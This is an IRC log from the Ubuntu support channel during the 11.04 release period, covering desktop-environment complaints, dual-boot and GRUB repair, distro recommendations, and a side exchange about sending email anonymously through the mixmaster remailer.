[09:33] <pennnn> why cant get an answere ?
[09:33] <jack123> i am done with ubuntu
[09:33] <genewitch> xs3ns3: install gnome if you don't like the new desktop...
[09:33] <Starminn> !enter > pennnn
[09:33] <ubottu> pennnn, please see my private message
[09:33] <Starminn> !details > pennnn
[09:34] <Starminn> !patience > pennnn
[09:34] <genewitch> xs3ns3: it's not like windows where you're locked into a GUI
[09:34] <pennnn> !enter starmin
[09:34] <xs3ns3> think i just go back to ver 10
[09:34] <Starminn> pennnn: Read those. UInderstand the channel rules.
[09:34] <jack123> hey marenostrum
[09:34] <marenostrum> sdollins, good news for his problem. So maybe when I upgrade him there won't be such a problem.
[09:34] <Herbs> ultraviolet if your compiling it will be libcurl4-openssl-dev
[09:34] <sdollins> Actually... I just noticed, my wired network isn't freaking working either.
[09:34] <pennnn> why cant get an answere ?
[09:34] <marenostrum> jack123, Yesss.
[09:34] <xs3ns3> im locked now. cant configure the gui on this new version
[09:34] <Starminn> pennnn: You cannot get an answer because you are nto asking a question.
[09:34] <sdollins> I think I'm about to cry lol..
[09:34] <pennnn> MY QUESTION IS
[09:34] <marenostrum> jack123, How did you do??
[09:34] <pennnn> SHOULD i change to kde !!!!
[09:34] <xs3ns3> on this nathy version are u allowed to move ur gui? move the bars etc?
[09:34] <jack123> i am done with ubuntu its not working and it messed up my win boots are well
[09:34] <herol3oy> genewitch: you mean I should move the iso file to a USB flash memroy and then mount it?
[09:34] <pennnn> i asked 3 hours ago
[09:35] <jack123> as well*
[09:35] <Starminn> pennnn: Nobody can make thew decision for you. Have you tried it out?
[09:35] <Psychobudgie> xs3ns3, login to ubuntu classic if you wish to go back to gnome 2 desktop
[09:35] <peteraz> i got background only after upgrade please help
[09:35] <genewitch> herol3oy: on the ubuntu website if you click "get ubuntu" it says "use usb - show me how"
[09:35] <pennnn> Starminn: i dont like unity and gnome 3. and i wont get into trouble with any ppas in 11.10
[09:35] <llutz> pennnn: nobody can answer that. its like "should i go fishing?", your decision
[09:35] <daxroc> gartral: It's more than a driver problem, and shipping with experimental drivers. Is that a good situation to start in (nouvaeu). As for faster on a core i7 here and performance is a little slow. If I wanted more I would custom comple tho , I'll take ease of maintenence for one box over speed :)
[09:35] <xs3ns3> i think im in ubuntu classic since the laptop at start pointed me that cant run unity so im running on classic
[09:35] <maedox> pennnn: Log in with Ubuntu Classic as the session then....
[09:35] <gartral> !classic | xs3ns3
[09:35] <ubottu> xs3ns3: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[09:35] <quiescens> don't go fishing, the weather's not good for it
[09:36] <marenostrum> jack123, Sorry to hear that. I wish I were near you. Isn't there someone near you who can help?
[09:36] <sjuxax> I am using natty server in a VM. I cahnged the MAC address from what it was installed with and now eth0 won't appear. How do I fix this? I've tried dpkg-reconfigure network to no win
[09:36] <sjuxax> lspci shows it as an Ethernet controller, but does not show in ifconfig
[09:36] <pennnn> maedox.: there is no classical in 11.10 !
[09:36] <Starminn> pennnn: 11.10 is still 6 months away.
[09:36] <maedox> pennnn: this is ubuntu not ubuntu+1
[09:36] <genewitch> xs3ns3: i think that's the netbook desktop
[09:36] <jack123> nope
[09:36] <Psychobudgie> xs3ns3, logout then log back in and double check that ubuntu classic is selected otherwise it will throw you into 2d unity as I am aware
[09:36] <genewitch> xs3ns3: at least, they looked the same to me
[09:36] <pennnn> yes but i have a work shop here and the workers
[09:36] <sdollins> I think maybe telling him they were removing it 11.10 was a bad idea xd
[09:36] <Starminn> maedox: #ubuntu_1 is invitation-only for now
[09:36] <sdollins> it in*
[09:36] <pennnn> i cant say there, OH today, stop gnome, now unity
[09:36] <xs3ns3> gonna check that....... thks
[09:37] <pennnn> it must be planned
[09:37] <pennnn> long time before
[09:37] <gartral> daxroc: true, but i'm on an Aton N455.. and Pinetrail IGP.. my drivers work out of the kernel!
[09:37] <pennnn> so that why i asked, if it a ppa is good or not, so if it is NOT got, i would change environment
[09:37] <pennnn> s
[09:37] <Starminn> pennnn: So start the switch now. You have 6 months. You're making a switch either way. You're either switching to Gnome3, KDE, or Unity. Choose one, and stick with it.
[09:37] <jack123> marenostrum how to remove ubuntu boot information from windows boot
[09:37] <herol3oy> genewitch: Actually I have got the iso files! I just want to upgrade from 10.10 to 11.4 without any downloding packages?
[09:38] <Herbs> sjuax you need to make sure the vm has the same mac
[09:38] <Technikfreak> hello is here someone from czech please pm me short thx (sorry for off topic)
[09:38] <herol3oy> genewitch: i just mounted the iso file and run this " gksu "sh /media/cdrom/cdromupgrade"
[09:38] <gartral> herol3oy: that's not possible, even with the alternate install cd. you still need a network
[09:38] <marenostrum> jack123, Would you like me to help step by step on private IRC converstion. From Windows maybe. And wgat's messed up with your Windows installation?
[09:38] <pennnn> Starminn: i tested gnome 3 a long time, and i like it, but it isnt in ubuntu ppas, and the ppa seems buggy
[09:38] <maedox> pennnn: Adding the Gnome PPA shouldn't be a problem if that's what you're asking
[09:38] <jack123> sure
[09:38] <jack123> how to do that
[09:38]  * vibhav is ready to help others!
[09:38] <herol3oy> genewitch: no anyother way?
[09:38] <pennnn> maedox: yes but i want gnome 2
[09:38] <Starminn> pennnn: That's because Canonical does not support Gnome3. All other distros do, though.
[09:39] <genewitch> herol3oy: unplug your internet then... then it can't download. or, put it on a USB drive like i said and boot from it, and run the normal upgrade that won't break everything
[09:39] <Starminn> pennnn: You could try Xubuntu. Very similar to Gnome 2
[09:39]  * vibhav is ready to help others!
[09:39] <Psychobudgie> jack123 : if you wish to go back to single windows boot, boot from your windows cd and choose to boot into dos recovery and type fixmbr, that should do the trick
[09:39] <sdollins> I tried to use Xubuntu but missed some stuff :(
[09:39] <sdollins> Even Ambiance lol
[09:39] <vibhav>  pennnn you want to use gnome 2 in ubuntu 11.04?
[09:39] <genewitch> does ubuntu have an issue booting past the 1TB mark?
[09:39] <daxroc> Is unity not a bastadisation of gnome3 ?
[09:39] <pennnn> vibhav
[09:39] <vibhav>  pennnn you want to use gnome 2 in ubuntu 11.04
[09:39] <pennnn> i want use !! gnome 2 in 11.10
[09:39] <marenostrum> jack123, have a look here: http://expertester.wordpress.com/2008/07/27/how-to-remove-ubuntu-boot-loader-xp-and-vista/
[09:39] <xs3ns3> thanks for pointing me out to log out and relog on classic, helped me, was about to install 10 again...
[09:39] <Starminn> No, he's up in arms about how 11.10 won't have classic GNOME even when the Gnome devs themselves don't support it anymore.
[09:40] <vibhav>  pennnn yes?
[09:40] <Starminn> vibhav: ^
[09:40] <pennnn> yes vibhav
[09:40] <Psychobudgie> daxroc, unity is a shell for gnome 2, gnome-shell is a shell for gnome 3
[09:40] <vibhav>  pennnn in the login session chose Ubuntu Classic where Ubuntu is written
[09:40] <Psychobudgie> xs3ns3, no problem
[09:40] <daxroc> Psychobudgie: very gnome shell like tho
[09:40] <pennnn> vibhav 11.10 hasnt got it !!!!
[09:40] <xs3ns3> +karma hehe
[09:40] <Psychobudgie> xs3ns3, they don't exactly make it obvious
[09:40] <llutz> pennnn: /j +ubuntu+1        to discuss 11.10
[09:40] <marenostrum> jack123, This is better, it doesn't need Win CD: http://ubuntuforums.org/showthread.php?t=180607
[09:40] <Starminn> vibhav: No, it's about 11.10 that he's freaking out about because 11.10 won't have "Classic Gnome"
[09:40] <Psychobudgie> daxroc, it's nothing like gnome-shell
[09:41] <syrinx_> llutz: hehe
[09:41] <pennnn> i cant believe it ANYBody says crap
[09:41] <pennnn> really
[09:41] <genewitch> llutz: +i
[09:41] <Starminn> llutz: It's invitation-only.
[09:41] <Psychobudgie> daxroc, I'm using gnome 3 and gnome-shell from the ppa here
[09:41] <pennnn> the one say i should go ubuntu+1 but its invite
[09:41] <bgoldsmith> quiescens,llutz: I just tried googling, trying to find out where the environment for a process is stored ... what data structures, what source do I need to look at?
[09:41] <Herbs> do people not know what LTS is?
[09:41] <pennnn> the one say something about 11.04
[09:41] <llutz> Starminn: its offtopic HERE
[09:41] <cryptodira> hi folks.... just upgraded to 10.10 ..... all went well... except, i am NOT seeing xscreensaver under system preferences.... synaptic says it is installed....how can it be accessed?   10.10 amd/64
[09:41] <pennnn> !lts | Herbs
[09:41] <ubottu> Herbs: LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server. The current LTS version of Ubuntu is !Lucid (Lucid Lynx 10.04)
[09:41] <Herbs> Ive been using ubuntu for about a week been a Linux user for longer
[09:42] <daxroc> Psychobudgie: my bad , been a while from when I tested last
[09:42] <zvacet> jack123: do http://members.iinet.net.au/~herman546/p18.html#MbrFix.exe and after that you can remove ubuntu
[09:42] <vibhav> pennnn I am too angry
[09:42] <Starminn> llutz: Umm... I agree. Which is why I'm trying to explain to him that it's a long way away. HE's asking if he should switch to KDE. I told him 11.10 is still 6 months away anyway, but if he wants to switch to KDE he should try it.
[09:42] <vibhav> pennnn perhaps you could install it
[09:42] <genewitch> wqas 6.10 the last LTS before lucid?
[09:42] <Psychobudgie> daxroc, imo, and this is my opinion, unity isn't fit to lace gnome 3's rather lovely shoes
[09:42] <pennnn> vibhav: yes but if its possible, my question: is it safe ?
[09:42] <vibhav> pennnn might be
[09:43] <Herbs> kde sucks if you want to change desktop try xfce
[09:43] <pennnn> vibhav: because ppa are very incompatibl e
[09:43] <zvacet> genewitch: 8.04
[09:43] <genewitch> zounds.
[09:43] <genewitch> cloud out!
[09:43] <marenostrum> jack123, Grub (bootloder) problem can be solved. If I were you I'll give a try to repair it before uninstalling it. I can help if you like.
[09:44]  * Kasztan85 kasztan85
[09:44] <Kasztan85> dsf
[09:44] <llutz> bgoldsmith: "Linux login process" should give some first hints
[09:44] <pennnn> Starminn can i ask you something
[09:44] <pennnn> Starminn do you use gnome ?
[09:44] <marenostrum> jack123, All we need is you'll boot from live CD and we'll find a way to communicate with you while you are there.
[09:44] <marenostrum> Do you have a second machine?
[09:44] <Starminn> pennnn: I do use Gnome. I am on 10.10 because I do not wish to switch to 11.04. If I had a choice I would be using Gnome3 but it is not supported on 10.10 currently.
[09:44] <Herbs> bgolsmith it looks in /boot for the kernel image basically
[09:45] <marenostrum> jack123, Dou you have a 2nd machine near you?
[09:45] <pennnn> Starminn, okay last question why dont you want to use 11.04
[09:45] <jack123> nope i dont have
[09:46] <vibhav> pennnn I hope that doesnt happen
[09:46] <Starminn> pennnn: I will use it after about 3-4 weeks of its release. I want toallow some time for the bugs to be found and fixed in case the devs and beta testers missed any (which they probably did). Gnome3 can be run on 11.04, but it kills Unity (which is fine with me as I'm not a fan of it).
[09:46] <cryptodira> xscreensaver lives under preferences in 10.04...... it is NOT there in 10.10..... where did it get moved to?    10.10 amd/64
[09:46] <pennnn> vibhav: do you gnome usee too
[09:46] <Danielq> buenas noches
[09:46] <Danielq> o buenos dias
[09:46] <jack123> ok marenostrum
[09:47] <jack123> suggest me a good linux distro  . one that hopefully works lol
[09:47] <Danielq> disculpen  la molestia pero me podrian ayudar con un problemita que tengo.._
[09:47] <syrinx_> !es | Danielq
[09:47] <ubottu> Danielq: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[09:47] <pennnn> vibhav: do you gnome usee too
[09:47] <Danielq> ok gracias
[09:47] <Herbs> jack123 if you cant get ubuntu to work forget Linux
[09:48] <syrinx_> ^
[09:48] <vibhav> pennnn I use gnome 3
[09:48] <jack123> lol but mandriva works like a charm
[09:48] <pennnn> ok
[09:48] <jack123> i am sure it a bug in ubuntu
[09:48] <marenostrum> jack123, You'll get mad, but its Ubuntu. And you may try, fedora.
[09:48] <Herbs> jack123 stick to what works for you then learn Linux more then decide
[09:48] <Starminn> vibhav: Gnome3 in 11.04, right?
[09:49] <jack123> :(
[09:49] <mithran> how do i register?
[09:49] <mithran> with my nick
[09:49] <mithran> ?
[09:49] <Herbs> if you cant switch from mandriva to ubuntu you need to learn
[09:49] <hateball> !register | mithran
[09:49] <ubottu> mithran: Information about registering your nickname: https://help.ubuntu.com/community/InternetRelayChat/Registration - Type « /nick <nickname> » to select your nickname. Registration help available by typing /join #freenode
[09:49] <syrinx_> the hateball returns
[09:49] <marenostrum> jack123, If I need to name another distrı I'll say Fedora.
[09:49] <quiescens> bgoldsmith: permissions are stored for each process individually, and not in the usual "environment" per se, if you plan to look deeper into this you can probably have a look at setgroups() and work your way back from there but going all the way back to where in the kernel each process's individual groups list is stored is probably beyond the scope of a channel like this
[09:49] <xs3ns3> linux mint its also a good n stable distro
[09:50] <jack123> how about suse.?
[09:50] <jack123> debain
[09:50] <pennnn> linux mint is shit
[09:50] <pennnn> !other
[09:50] <jack123> how is mandriva.?
[09:50] <Herbs> bgoldsmith told you you needed to look at the group permissions ages ago
[09:50] <syrinx_> !langauge | pennnn
[09:50] <ubottu> pennnn: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[09:50] <MethedMan> anybody have experience using "Evolution" on Ubuntu with TOR?  i am getting DNS leaks and would like to try to plug the leaks.
[09:50] <DocPlatypus> PC has been running 9.10 until a couple days ago when I upgraded to 10.04 LTS. ever since then I have had sound switching over to "dummy output" for no reason I can figure out. where to begin troubleshooting this and/or how do I get it back to my soundcard when it does? kernel -- 2.6.32-31-generic, audio -- 00:1f.5 Multimedia audio controller: Intel Corporation 82801AA AC'97 Audio Controller (rev 02)
[09:50] <bgoldsmith> quiescens: thanks! I'm looking at the kernel sources
[09:51] <Herbs> nothing to do with the kernel
[09:51] <xs3ns3> found mint user frienly (gnome mint)
[09:51] <marenostrum> jack123, Dont mess up Grub bootloder more. If the CD at hand is not brıken, try to install with it again. or try to install lets say Fedora to that partition. It will most probably install Grub bootloder again and you'll have Fedora at hand and your Windows untouched.
[09:52] <bgoldsmith> Herbs: yes, thanks! the problem was solved. I was just trying to do some extra learning about how the users group info is stored in memory when he logs in.
[09:52] <maxb> Does anyone know how to make nautilus not launch on inserting a USB stick? (natty)
[09:52] <Herbs> grub is easy to reinstall this is the thing with new Linux users to scared to break anything
[09:52] <guschtel_> hi! i just installed ubuntu 10.10 in my toshiba sat. l505dhave been a series of problems ever since. first my wireless did not work and now video and sound are failing. plus the funcs of my laptop dont work. anybody knows what to do?. There
[09:52] <Herbs> ah ok bgoldsmith
[09:52] <jack123> ok  will go with fedora
[09:53] <syrinx_> fedora :(
[09:53] <DeathNote> Hey listen..
[09:53] <pennnn> so well
[09:53] <pennnn> i ask other round#
[09:53] <xs3ns3> guschtel im no tech, but have u checked ur drivers are updated after install?
[09:54] <pennnn> i dont like unity. i like gnome 3, gnome 2, kde xfce
[09:54] <pennnn> what do you recommend ?
[09:54] <MethedMan> anyone know how to send emails anonymously via evolution or any other linux mail program
[09:54] <pennnn> gnome2
[09:54] <jack123> methed why do you want to do that
[09:54] <jack123> dont tell him guys
[09:54] <Herbs> methedman you want to spam no email prog wil let you telnet will
[09:54] <pennnn> i dont like unity. i like gnome 3, gnome 2, kde xfce
[09:55] <pennnn> what do you recommend ?
[09:55] <DeathNote> Anything sister
[09:55] <MethedMan> herbs: i don't want to spam
[09:55] <sdollins> MethedMan: I imagine most modern mail program will allow you to use a proxy.
[09:55] <MethedMan> jack123: lets just say i am part of an investigation
[09:55] <sdollins> You probably won't find many proxies that allow sending mail.
[09:55] <jack123> or let just say you are a terrorist
[09:55] <DeathNote> Why?
[09:55] <pennnn> sdollins: recommend me to change to kde or gnome2 ?
[09:55] <xs3ns3> thats fun
[09:56] <llutz> jack123: a dumb terrorist...
[09:56] <DeathNote> ok ok
[09:56] <MethedMan> jack123: i can send through gmail anonymously
[09:56] <xs3ns3> tv = mass control
[09:56] <MethedMan> jack123: i am lazy and want to use "evolution" or some mail program
[09:56] <jack123> why would any 1 want to do that.?
[09:56] <Herbs> lol send through qmail ann
[09:56] <Herbs> anon
[09:56] <pennnn> sdollins: recommend me to change to kde or gnome2 ?
[09:57] <sdollins> pennnn: That's not really something you can recommend ._.
[09:57] <guschtel_> xs3ns3, yeah i have double checked and still...
[09:57] <syrinx_> pennnn: why don't you try them and see which one you like?
[09:57] <pennnn> i tried
[09:57] <DeathNote> But i am on 11.04
[09:57] <syrinx_> then why are you asking here
[09:57] <Starminn> pennnn: And which do you like?
[09:57] <pennnn> well
[09:57] <syrinx_> no one give a damn about what DE you use
[09:57] <DeathNote> ok sister i understand
[09:57] <MethedMan> llutz: most terrorist are pretty stupid eh, like the underwear bomber.
[09:57] <invernizzi> MethedMan, no, you cannot send emails anonymously throgh Gmail, unless you create a separate account. Maybe they look anonymous to you, but they are not. Disclamer: I work in computer security
[09:57] <Haegin> Hi, I upgraded to 11.04 yesterday and now when I log in my gtk theme doesn't work so I have to restart gnome-settings-daemon to fix this. Also my mouse stops working about 5-10 minutes after login.
[09:57] <pennnn> gnome 3 is really good usuable
[09:57] <nexusism> joined #ubuntu-ko
[09:58] <pennnn> but kde is faster, to find things and so
[09:58] <DeathNote> ok sister thanks
[09:58] <marenostrum> jack123, Do you have many critical unbackuped data on your Windows partition?
[09:58] <constl> kde is faster than gnome?
[09:58] <MethedMan> invernizzi: what if i send it through tor with namoroka?
[09:58] <Herbs> methedman spamming aint easy :)
[09:58] <jack123> yes definately
[09:58] <xs3ns3> guschtel lets see if theres any wise person around who can give u a better feed ^^
[09:58] <jack123> i dont want to mess my windows
[09:58] <MethedMan> invernizzi: also i am not so concerned if google knows where things are coming from.  i am more concerned with the immediate parties that i am in contact with that could possible blow my cover
[09:59] <marenostrum> jack123, I see.
[09:59] <pennnn> gnome 3 is really good usuable
[09:59] <pennnn> but kde is faster, to find things and so
[09:59] <jack123> i have adobe
[09:59] <sdollins> I'm about ready to switch to Windows :(
[09:59] <jack123> i have vega pro
[09:59] <Herbs> methedman then encrypt your messages
[09:59] <invernizzi> MethedMan, no, tor just protects your ip. The thing is, the email still carries meta information about the sender. the correct tool for the job is "mixmaster"
[09:59] <invernizzi> it's in the repos
[09:59] <xs3ns3> tor ?
[09:59] <sdollins> If something breaks then, I can just make Dell fix it :D!
[09:59] <xs3ns3> hmm
[10:00] <xs3ns3> u can use tor + encrypt?
[10:00] <pennnn> gnome 3 is really good usuable
[10:00] <pracrash> how to make bootable usb drive from ubuntu for windows 7
[10:00] <pennnn> but kde is faster, to find things and so
[10:00] <syrinx_> pennnn: stop spamming
[10:00] <MethedMan> invernizzI: downloading now. how do i use it
[10:00] <sdollins> marenostrum: It seems I've /fixed/ it or it's just cooperating for more than 1 reboot.
[10:00] <Herbs> theres a man for everything
[10:00] <invernizzi> MethedMan, mixmaster strips metadata from emails and forwards the email from server to server to delay it and make it untraceable
[10:00] <sdollins> As for how? I have no idea but it is apparently working.
[10:01] <Herbs> hes a spammer dont advise him
[10:01] <pracrash> does anyone know
[10:01] <MethedMan> herbs: not a spammer
[10:01] <ChrisBuchholz> Hey guys. On my ubuntu 11.04 server, when i add a ppa, via add-apt-repository, apt-get doenst use it. Or, not fully anyways. As you can see here: https://gist.github.com/952345 I add the repository and update, but its not on the list over loaded repos. I did a strace that shows it actually does "see" the repo: http://paste.ubuntu.com/602496/
[10:01] <marenostrum> sdollins, Nice to hear. :)
[10:01] <abhinav_singh> marenostrum i have installed Libre Office..its much better than openoffice
[10:01] <MethedMan> herbs: troll somewhere else please
[10:01] <sdollins> I bet I'm annoying the piss out of people with pidgin signing in and out xd
[10:01] <ChrisBuchholz> I have asked in #ubuntu-server. No answers. Can you guys help me?
[10:01] <invernizzi> MethedMan, just launch it, it's pretty self explanatory. keep in mind that the delay between sending and receipt can be of hours. the purpose is to avoid to leak even the time of sending
[10:01] <MethedMan> invernizzi: what servers should i connect it to
[10:01] <pennnn> Herbs troll somewhere else please
[10:01] <Starminn> sdollins: I haven't noticed. I'm using Pidgin.
[10:01] <pennnn> !troll | herbes
[10:02] <Herbs> ok methed whats your legitamate reasoning ?
[10:02] <MethedMan> invernizzi: i have 5 options in the install. not sure which one to choose
[10:02] <sdollins> Starminn: I keep rebooting so it's signing in and out.
[10:02] <invernizzi> MethedMan,  tell me which options are there
[10:02] <MethedMan> herbs: i do not answer to you, and did not appreciate your incorrect assessment
[10:03] <Starminn> sdollins: Ah. I guess I've kind of trained myself to "phase out" the sign-in/sign-out. There's an otion to have those nto show up but I kept talking ot myself then.
[10:03] <syrinx_> lol
[10:03] <MethedMan> invernizzi: no configuration, internet site, internet with smarthost, satellite system, local only
[10:03] <invernizzi> local
[10:03] <sdollins> I have you on my contact list? o:
[10:03] <Herbs> your a spammer unless you prove otherwise
[10:03] <syrinx_> Herbs: +1
[10:03] <Starminn> The next person who even so much as utters the word "troll" will be on my blacklist and I will be unhappy at you for the rest of my life.
[10:03] <pennnn> please
[10:03] <pennnn> help me
[10:04] <invernizzi> herbs: spammers use botnets to send emails, not remailers. Trust me, this is not the system to send spam. Again, I work exaclty on malware and spam
[10:04] <syrinx_> !please | pennnn
[10:04] <ubottu> pennnn: Avoid following your questions with a trail of "Please, help me", "Can nobody help me?", "I really need this!", and so on. This just contributes to making the channel unreadable. If you are not answered, ask again later; but see also !repeat and !attitude
[10:04] <pennnn> i know i asked
[10:04] <xs3ns3> herbs, better prove hes a spammer otherwise hes not, ok?
[10:04] <pennnn> but i want kde
[10:04] <syrinx_> then use it
[10:04] <sdollins> pennnn: then install kubuntu-desktop
[10:04] <pennnn> i have to reinstall pc distroyed
[10:04] <sdollins> Then go download it and install it
[10:05] <Herbs> ok xs3ns3 I work for an web host and have to deal with them daily
[10:05] <sdollins> I can't tell if I just need to do a clean install or if the classic mode is buggy as hell.
[10:06] <sdollins> It's like everytime I login some applet is failing or the theme is all screwed up.
[10:06] <pennnn> sdollins: but i want gnome 2! but there are not any possilbilites are there ?
[10:06]  * sdollins sighs...
[10:06] <MethedMan> invernizzi: i sent you a private message with a website that i am involved with.
[10:06] <marenostrum> abhinav_singh, Nice to hear that you like Libre Office.
[10:07] <invernizzi> MethedMan, seen
[10:07] <pennnn> sdollins: it is really the last question !!
[10:07] <pennnn> sdollins: but i want gnome 2! but there are not any possilbilites are there ?
[10:07] <Starminn> pennnn: Seeing as the fact that the Gnome developers are not developing Gnome2 any longer, it is not likely, no. Canonical will continue to mainain it for the use of Unity, but what they do  with it at this point is to their discretion.
[10:08]  * syrinx_ facepalms, i'm outta here
[10:08] <pennnn> ok thanks
[10:08] <Starminn> pennnn: Your question has been answered.
[10:08] <Starminn> pennnn: You're welcome.
[10:08] <Herbs> ok xs3ns3 either way its not ubuntu help he wants so is it not off topic?
[10:08] <Starminn> syrinx_: He's gone!!! He's really, really gone!! (After tlling him that exact same thing two OTHER times)
[10:09] <syrinx_> XD
[10:09] <syrinx_> almost quit irc forever
[10:09] <DASDAS> who
[10:09] <Starminn> Haha. Nobody can be rww like rww.
[10:09] <d-snake> hey guys. is it possible to "blacklist" application from the global menu? In my case I wan't  exclude Gimp from it.
[10:09]  * Starminn moves to #offtopic
[10:09] <tuxx-> rofl @ pennn
[10:09] <tuxx-> ;d
[10:09] <VanDyke> for sale: 2x 7900GTX with dangerden waterblocks. $50 ea.
[10:09] <Starminn> VanDyke: Don't do that.
[10:10] <syrinx_> lol
[10:10] <tuxx-> for sale: my dirty underwear, 1$ each.
[10:10] <VanDyke> k
[10:10] <iceroot> !ot
[10:10] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[10:10]  * sdollins bangs head repeatedly against desk.
[10:10] <Starminn> tuxx-: Buy two get the second half off?
[10:10] <VanDyke> there
[10:10] <tuxx-> sure Starminn
[10:11] <sdollins> I'm starting to really dislike Ubuntu. :(
[10:11] <VanDyke> sdollins, I disliked gnome3 and unity
[10:11] <Starminn> sdollins: Ubuntu of the community? Because I am now hating this channel very much.
[10:11] <tuxx-> VanDyke: just use awesomewm :-D
[10:11] <Starminn> s/of/or
[10:11] <VanDyke> staying with 10.10
[10:11] <sdollins> VanDyke: Good idea as I'm pretty sure 11.04's classic mode is buggy (possibly on purpose ._.)
[10:12] <Dark_Star1> Hi. is there anyone here that uses virtualbox in ubuntu and has managed to configure the networking for the guest OS?? I can't get anything from loopback ping
[10:12] <Starminn> sdollins: I am waiting a month before upgrading, at which point I'll use Gnome3
[10:12] <Herbs> ubuntu is all good because you decide to use the none lts thats your issue
[10:13] <Chipzzz> Dark_Star1: Did u try a bridged connection?
[10:13] <Starminn> Herbs: No one said anything negative about Ubuntu.
[10:13] <sdollins> Everytime I reboot 1 of 2 things happens: Wifi doesn't work or applets fail like crazy
[10:13] <Herbs> <sdollins> I'm starting to really dislike Ubuntu. :(
[10:14] <sdollins> what about it?
[10:14] <sdollins> Not using LTS has nothing to do with that.
[10:14] <siddhantchd> need help guys http://ubuntuforums.org/showthread.php?t=1747052
[10:14] <Herbs> why does it not you expect something to work perfect and its not lts
[10:14] <sdollins> I don't think expecting a normal release to be stable is absurd.
[10:15] <Herbs> Im a slackware user who runs red hat/fedora/centOs based servers
[10:15] <Starminn> Herbs: Oh, I'm sorry. I thought he meant the trolls in this channel.
[10:15] <Starminn> Herbs: You're right. I'm wrong. :)
[10:17] <marenostrum> sdollins, I'm with you. No one says that LTS is more stable than a non-LTS release. LTS is just long term. For those server things; not to have need to install, upgrade every 6 months. Bug is bug. Fault is fault. No matter in LTS or non-LTS.
[10:17] <Herbs> fair enough guys looks like I got ubuntu wrong!
[10:17] <maheanuu> I would like to know what most of you might consider the top five photo editors to use on Ubuntu
[10:18] <marenostrum> Herbs, Why do you say so?
[10:18] <d-snake> Push:  Is it possible to "blacklist" an application from the global menu? In my case I want to exclude Gimp from it.
[10:18] <Herbs> because the admin said
[10:19] <maheanuu> Me too!
[10:19] <zvacet> marenostrum: I agree with you about bugs,but in lts releases focus is on stability
[10:19] <sdollins> well marenostrum I was wrong. Wifi is still broken. I've given on up on fixing it. It's freaking 4:20 AM :/
[10:19] <Chipzzz> d-snake: you can deselect it in the menu editor & it won't show up in the menus
[10:19] <tic^> !wifi | sdollins
[10:19] <ubottu> sdollins: Wireless documentation, including how-to guides and troubleshooting information, can be found at https://help.ubuntu.com/community/WifiDocs
[10:19] <tbf> natty's epiphany is incredibly crashy :-(
[10:20] <thegoodcushion> I have a KWorld TV tuner that works perfectly in Windows 7.  I am running Ubuntu 10.04 on the exact same computer (on the metal, not virtualized).  Can I use my tuner?  How do I even tell if it's recognized?  It's connected to a USB port
[10:20] <sdollins> tic^: really not neded.
[10:20] <sdollins> needed*
[10:20] <d-snake>  is it possible to "blacklist" application from the global menu? In my case I wan't exclude Gimp
[10:20] <Herbs> ! opression | ubottu
[10:20] <marenostrum> sdollins, I see. fresh install!
[10:20] <maheanuu> I have been using Gimp for years and find that I can do pretty much everything that is needed, or at least accdording to my needs.
[10:21] <sdollins> I'm actually not sure if I will install Ubuntu.
[10:21] <siddhantchd> help guys
[10:21] <genupulas> siddhantchd:  ask
[10:21] <d-snake> Chipzzz: I don't mean the Unity Menu. I meant the global menu in the panel. I don't want to have main menu of gimp (just gimp) in the panel
[10:21] <genupulas> siddhantchd:  i will try my best
[10:22] <siddhantchd> genupulas http://ubuntuforums.org/showthread.php?t=1747052
[10:22] <snikker> my usb 3.0 port doesn't work in ubuntu, how can i fix this?
[10:22] <VanDyke> thegoodcushion, lsusb will tell if it's connected
[10:22] <marenostrum> maheanuu, I, too, use just GIMP. I do many things with it. But I'm not a professinal and I even don't know 90 % of it maybe. But I can do pretty much things witjh it. Without GIMP life would be really hard for me.
[10:23] <thegoodcushion> VanDyke: I have Novatek and Afatech.  Do they sound like TV tuners?  There's also a mouse, which I recognize
[10:23] <tic^> sdollins: I'm running 10.04 LTS 64bit on a dell 64bit desktop and EVERYTHING works, including sound and youtube. A stable setup can be done.
[10:23] <marenostrum> sdollins, What's in your mind? Alternative?
[10:23] <Herbs> marenostrum you mean gimp isnt in the repos? You can still install it you know?
[10:23] <genupulas> siddhantchd:  oops i am failed
[10:23] <VanDyke> thegoodcushion, no idea
[10:23] <thegoodcushion> VanDyke: google seems to indicate that Afatech is the chipset in the tuner
[10:23] <sdollins> You see, I absolutely hate Unity and find it to be horridly unproductive. I don't really want to have to install another desktop environment so switching is inevitable for me.
[10:23] <siddhantchd> genupulas hmm
[10:24] <thegoodcushion> sdollins: I hear you bro
[10:24] <siddhantchd> anyone you knw who can help
[10:24] <Starminn> thegoodcushion: There's MythBuntu that's made for something to do with TV. Can't recall what exactly. May be worth looking into.
[10:24] <thegoodcushion> ok
[10:24] <sdollins> At the moment, I'm about ready to switch to Windows.
[10:24] <Starminn> thegoodcushion: Not necessarily installing the whole distro -- but maybe downloading what packages it has by default.
[10:24] <VanDyke> sdollins, stop trolling :P
[10:24] <sdollins> I'm not :(
[10:24] <zvacet> sdollins:  then you can try fedora with gnome3
[10:24] <marenostrum> Herbs, No I didn't say that GIMP isn't in repos. Its there. I have already installed. He asked about the favourite photo editors. That was my answer.
[10:25] <VanDyke> sdollins, install ubuntu 10.10 and be done with it. Works awesome
[10:25] <envygeeks> Starminn: Mythbuntu is a "DVR" build.  It's mediacentre for Linux, but now days you can just install opensource boxee on any of your Linux installs
[10:25] <tuxx-> sdollins: why not just use the LTS? :P
[10:25] <jccb> nice tomeet you guys  bye
[10:25] <fray_> hi
[10:25] <sdollins> zvacet: I don't really like Gnome3 either.
[10:25] <Herbs> Im going now but just to free you ubuntu users sudo passwd root and set new password
[10:25] <sdollins> tuxx-: because that's just a temporary fix.
[10:25] <Starminn> Herbs: Don't.
[10:25] <sdollins> Xfce is missing some stuff I want. KDE is well not for me.
[10:25] <Herbs> and then remove that rediculous all in sudo whats the diff lol
[10:26] <Haegin> sdollins: if you don't like unity and don't want to switch you seem to be at an impasse
[10:26] <sdollins> I'm happy with gnome2 :(
